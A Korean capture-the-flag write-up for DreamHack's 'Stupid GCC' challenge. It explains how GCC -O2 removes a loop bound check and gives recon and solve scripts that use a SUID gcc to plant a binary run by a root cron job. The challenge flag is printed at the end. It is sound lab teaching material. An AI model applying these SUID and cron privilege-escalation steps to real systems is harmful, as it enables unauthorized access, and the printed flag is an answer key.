[🥉 Bronze 2] SUID gcc 와 사라진 상한 검사 — DreamHack Stupid GCC 풀이

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
 
int main() {
    uint8_t v1 = 0;
    int v2 = 0;
    char v3[31];
    uint16_t v4[10]={0,};
 
    while (v4[v1] < UINT16_MAX && v1 < 10) {
        v1++;
        printf("v4[%d]: %p\n", v1, &v4[v1]);
        v2 += v1;
 
        if (v2 > 10000) {
            FILE *fp = fopen("/flag.txt", "r");
            fgets(v3, 31, fp);
            fclose(fp);
 
            fp = fopen("/home/stupid_gcc/flag.txt", "w");
            fwrite(v3, 31, 1, fp);
            fclose(fp);
            return 0;
        }
    }
    return 0;
}

#!/bin/bash
# 문제 서버 1차 정찰 — 우리는 누구고, 어디에 쓸 수 있나.
# 사용법: ./recon_server.sh <host> <port>
HOST="${1:-host3.dreamhack.games}"; PORT="${2:-18895}"
sshpass -p 1234 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o LogLevel=ERROR -o PubkeyAuthentication=no -o IdentitiesOnly=yes \
  -o PreferredAuthentications=password -p "$PORT" "stupid_gcc@$HOST" '
    echo "[1] 내 신원";              id
    echo "[2] 홈 디렉토리 소유자";    ls -ldn /home/stupid_gcc
    echo "[3] 여기에 쓸 수 있나";     touch /home/stupid_gcc/probe 2>&1 | head -1
    echo "[4] 문제 소스";            ls -l /home/stupid_gcc/a.c
    echo "[5] 플래그 원본";          ls -l /flag.txt
    echo "[6] uid 1001 은 누구";      grep :1001: /etc/passwd
'

./recon_server.sh host3.dreamhack.games 18895

#!/bin/bash
# 쓰기 권한이 없는데 어떻게 a.out 을 심나 — SUID 비트와 root 크론을 찾는다.
# grep 패턴의 대괄호는 자기 자신을 잡지 않게 하는 관용구다.
# 사용법: ./recon_suid.sh <host> <port>
HOST="${1:-host3.dreamhack.games}"; PORT="${2:-18895}"
sshpass -p 1234 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o LogLevel=ERROR -o PubkeyAuthentication=no -o IdentitiesOnly=yes \
  -o PreferredAuthentications=password -p "$PORT" "stupid_gcc@$HOST" '
    echo "[1] SUID/SGID 가 붙은 것"; find / -perm -4000 -o -perm -2000 2>/dev/null
    echo "[2] gcc 의 실제 권한";     ls -l /usr/bin/gcc
    echo "[3] gcc 버전";            gcc --version | head -1
    echo "[4] root 가 10초마다 돌리는 것"; ps aux | grep "[s]tupid_gcc/a.out"
'

./recon_suid.sh host3.dreamhack.games 18895

gcc -O2 /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out

#!/bin/bash
# 같은 a.c 를 최적화 레벨만 바꿔 빌드하고, 루프가 몇 번 도는지 센다.
# 로컬엔 /flag.txt 가 없으므로 플래그 분기에 도달하면 fopen 이 NULL 을 주고 fgets 에서 SIGSEGV(139) 가 난다.
# 즉 "종료코드 139" 가 곧 '플래그 분기까지 갔다' 는 신호다.
cd "$(dirname "$0")"
printf '%-6s %-8s %-9s %s\n' OPT 빌드 종료코드 "printf 출력 줄수(=루프 반복)"
for OPT in -O0 -O1 -O2 -O3 -Os; do
  gcc $OPT a.c -o "bin$OPT" 2>/dev/null
  stdbuf -o0 "./bin$OPT" > "log$OPT.txt" 2>&1
  rc=$?
  printf '%-6s %-8s %-9s %s\n' "$OPT" ok "$rc" "$(wc -l < "log$OPT.txt")"
done
echo
echo "-O2 로그의 마지막 3줄:"
tail -3 log-O2.txt
echo "1+2+...+141 =" $(( 141 * 142 / 2 ))

./build_matrix.sh

#!/bin/bash
# gcc -O0 로 빌드한 main 의 끝부분 = while 문의 조건 검사
cd "$(dirname "$0")"
objdump -d --no-show-raw-insn -M intel a_O0 | sed -n '/<main>:/,/^$/p' | tail -16 | sed -f annot_o0.sed

s/movzx  eax,BYTE PTR \[rbp-0x5d\]/&    <-- v1 을 8비트로 잘라서 읽는다/
s/movzx  eax,WORD PTR \[rbp+rax\*2-0x50\]/&  <-- v4[v1] 로드/
s/cmp    ax,0xffff/&                       <-- 조건 1: v4[v1] < UINT16_MAX/
s/cmp    BYTE PTR \[rbp-0x5d\],0x9/&    <-- 조건 2: v1 < 10  (그대로 남아 있다)/

./disasm_o0.sh

#!/bin/bash
# gcc -O2 로 빌드한 main 의 루프 본체 + 조건 검사
cd "$(dirname "$0")"
objdump -d --no-show-raw-insn -M intel a_O2 | sed -n '/<main>:/,/^$/p' | sed -n '1p;6,30p' | sed -f annot_o2.sed

s/add    r12d,ebp/&                        <-- v2 += v1/
s/add    rbx,0x2/&                        <-- 읽을 위치가 2바이트씩 위로/
s/add    rbp,0x1/&                        <-- v1++ 를 64비트 rbp 로. 8비트 절단이 없다/
s/cmp    r12d,0x2710/&                    <-- v2 > 10000 인가/
s/cmp    WORD PTR \[rbx-0x2\],0xffff/&    <-- 남은 조건은 이것 하나. v1 < 10 이 없다/

./disasm_o2.sh

// gcc -O2 가 실제로 만든 것에 가까운 형태
uint16_t *p = &v4[0];
long i = 1;
while (*p != 0xffff) {          // v1 < 10 은 없다
    printf("v4[%ld]: %p\n", i, p + 1);
    v2 += i;
    if (v2 > 10000) { /* 플래그 복사 */ }
    p++; i++;                    // 랩어라운드도 없다
}

set pagination off
set confirm off
set debuginfod enabled off
# 루프 몸통(printf 호출부)에서 v1 이 45 가 되는 순간 멈춘다.
# 소스의 `v1 < 10` 이 살아 있다면 애초에 도달할 수 없는 값이다.
break *((char *)main + 0x40) if $rbp == 45
# 프로그램이 뿜는 printf 44 줄은 화면 대신 파일로 보낸다
run > loop_run.log
printf "\n=== v1 이 45 일 때의 상태 ===\n"
printf "v1  (rbp)    = %d\n", $rbp
printf "v2  (r12d)   = %d\n", $r12
printf "v4  (rsp)    = %p\n", $rsp
printf "v4[v1] (rbx) = %p  (v4 로부터 +%d 바이트)\n", $rbx, (long)$rbx - (long)$rsp
printf "\n=== v4 위쪽 스택을 uint16_t 로 본 것 (v4[0] 부터 49개) ===\n"
x/50xh $rsp

gdb -q -batch -x loop_state.gdb ./a_O2

set pagination off
set confirm off
set debuginfod enabled off
# gdb 는 기본으로 ASLR 을 끈다. 그러면 스택이 0x7fffffffxxxx 대에 고정돼
# 스택에 저장된 포인터 안에 0xffff halfword 가 생기고, 루프가 거기서 끊긴다.
# 실제 실행 환경과 맞추려면 랜덤화를 되살려야 한다.
set disable-randomization off
break fopen
# 프로그램이 뿜는 printf 141 줄은 화면 대신 파일로 보낸다
run > flag_branch_run.log
printf "\n=== fopen 이 불린 순간 ===\n"
printf "v1 (rbp)  = %d\n", $rbp
printf "v2 (r12d) = %d   <- 10000 을 넘겨 플래그 분기로 들어왔다\n", $r12
x/s $rdi

gdb -q -batch -x flag_branch.gdb ./a_O2

#!/bin/bash
# 두 빌드가 /flag.txt 를 여는지 런타임으로 대조한다.
# 로컬엔 /flag.txt 가 없으므로 ENOENT 가 정상이다 — 중요한 건 "여는 시도를 했는가".
cd "$(dirname "$0")"
for OPT in O0 O2; do
  echo "--- gcc -$OPT ---"
  strace -e trace=openat "./a_$OPT" 2>&1 | grep -E 'flag\.txt|SIGSEGV|exited|\+\+\+' || echo "  /flag.txt 를 연 적이 없다"
done

./strace_cmp.sh

FROM ubuntu:22.04
 
RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev \
    && rm -rf /var/lib/apt/lists/*
 
RUN useradd -m -s /bin/bash stupid_gcc
COPY a.c /home/stupid_gcc/a.c
 
# 문제 서버를 흉내낸 로컬 플래그 (재현 전용 더미)
RUN echo 'DH{LOCAL_FAKE_FLAG_repro_only_000}' > /flag.txt \
    && chmod 600 /flag.txt && chown root:root /flag.txt
 
COPY run.sh /run.sh
RUN chmod +x /run.sh
CMD ["/run.sh"]

#!/bin/bash
# 문제 시나리오 재현:
#   1) 일반 사용자(stupid_gcc)가 a.c 를 컴파일해 /home/stupid_gcc/a.out 을 만든다
#   2) root 가 그 a.out 을 실행한다
#   3) /home/stupid_gcc/flag.txt 가 생겼는지, 일반 사용자가 읽을 수 있는지 본다
set -u
cd /home/stupid_gcc
 
for OPT in -O0 -O2; do
  echo "==================== gcc ${OPT} ===================="
  rm -f /home/stupid_gcc/flag.txt /home/stupid_gcc/a.out
  su stupid_gcc -c "gcc ${OPT} /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out 2>/dev/null"
 
  # root 가 10초마다 돌리는 그 실행
  timeout 10 /home/stupid_gcc/a.out > /tmp/run.log 2>&1
  echo "종료코드=$?  출력줄수=$(wc -l < /tmp/run.log)  마지막줄=$(tail -1 /tmp/run.log)"
 
  if [ -f /home/stupid_gcc/flag.txt ]; then
    echo "flag.txt 생성됨 -> $(ls -l /home/stupid_gcc/flag.txt)"
    echo "stupid_gcc 로 읽기: $(su stupid_gcc -c 'cat /home/stupid_gcc/flag.txt' 2>&1 | tr -d "\0")"
  else
    echo "flag.txt 없음 (플래그 분기에 도달하지 못함)"
  fi
  echo
done

docker build -t stupid-gcc-repro .
docker run --rm stupid-gcc-repro

#!/bin/bash
# Stupid GCC (DreamHack, Bronze 2 / pwnable·misc) — 자동 풀이
#
# 관문이 둘이다.
#   1) 권한경계 — /home/stupid_gcc 는 uid 1001(anonymous) 소유라 우리(uid 1000)는 못 쓴다.
#      그런데 /usr/bin/gcc 가 -rwsr-xr-x anonymous:anonymous, 즉 SUID anonymous 다.
#      gcc 에게 `-o /home/stupid_gcc/a.out` 을 시키면 gcc 가 anonymous 권한으로 대신 써 준다.
#   2) 컴파일 최적화 — a.c 의 루프 조건은 `v4[v1] < UINT16_MAX && v1 < 10` 인데,
#      `v4[v1]` 접근 자체가 이미 v1 < 10 을 함의(아니면 UB)하므로 -O2 이상의 GCC 는
#      `v1 < 10` 검사를 통째로 지운다. 그래야 v1 이 141 까지 올라가 v2 = 10011 > 10000 이 되고
#      root 가 실행할 때 /flag.txt 가 /home/stupid_gcc/flag.txt 로 복사된다.
#      -O0 으로 빌드하면 10 회에서 끝나 flag.txt 가 생기지 않는다(도커 재현 참조).
#
# 사용법: ./solve.sh <host> <port>
set -u
HOST="${1:-host3.dreamhack.games}"
PORT="${2:-18895}"
 
SSH_OPTS=(-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR
          -o PubkeyAuthentication=no -o IdentitiesOnly=yes -o PreferredAuthentications=password)
run() { sshpass -p 1234 ssh "${SSH_OPTS[@]}" -p "$PORT" "stupid_gcc@$HOST" "$1"; }
 
echo "[1] SUID gcc 로 a.out 을 심는다 (우리 권한으로는 못 쓰는 자리)"
run 'gcc -O2 /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out && ls -l /home/stupid_gcc/a.out'
 
echo "[2] root 크론(10초 주기)이 그걸 실행할 때까지 25초 기다린다"
run 'sleep 25; ls -l /home/stupid_gcc/flag.txt'
 
echo "[3] FLAG"
run 'cat /home/stupid_gcc/flag.txt'

./solve.sh host3.dreamhack.games 18895

DH{49C66D3ED286B08FCD82C656E8}